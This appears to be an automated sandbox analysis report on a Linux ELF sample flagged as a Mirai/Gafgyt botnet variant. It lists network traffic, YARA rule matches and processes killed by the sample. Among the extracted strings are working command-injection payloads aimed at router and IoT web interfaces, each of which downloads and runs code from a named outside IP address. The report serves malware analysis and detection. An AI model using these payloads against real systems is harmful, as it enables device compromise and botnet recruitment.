Source: unknown	Network traffic detected: HTTP traffic on port 34412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33718
Source: unknown	Network traffic detected: HTTP traffic on port 41488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39026
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33710
Source: unknown	Network traffic detected: HTTP traffic on port 48314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53326
Source: unknown	Network traffic detected: HTTP traffic on port 46890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32870
Source: unknown	Network traffic detected: HTTP traffic on port 52662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52480
Source: unknown	Network traffic detected: HTTP traffic on port 33970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43990
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55518
Source: unknown	Network traffic detected: HTTP traffic on port 48624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54664
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55516
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49292
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53340
Source: unknown	Network traffic detected: HTTP traffic on port 41098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40474
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 53426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38156
Source: unknown	Network traffic detected: HTTP traffic on port 35520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54680
Source: unknown	Network traffic detected: HTTP traffic on port 60066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41794
Source: unknown	Network traffic detected: HTTP traffic on port 36686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38146
Source: unknown	Network traffic detected: HTTP traffic on port 57996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47094
Source: unknown	Network traffic detected: HTTP traffic on port 47494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57712
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56872
Source: unknown	Network traffic detected: HTTP traffic on port 45334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42632
Source: unknown	Network traffic detected: HTTP traffic on port 41316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42634
Source: unknown	Network traffic detected: HTTP traffic on port 51532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55946
Source: unknown	Network traffic detected: HTTP traffic on port 35210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55948
Source: unknown	Network traffic detected: HTTP traffic on port 36662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34606
Source: unknown	Network traffic detected: HTTP traffic on port 43476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 42044 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5446, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5460, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 1944, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5459)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior

Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: AFWaD3vnqR.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
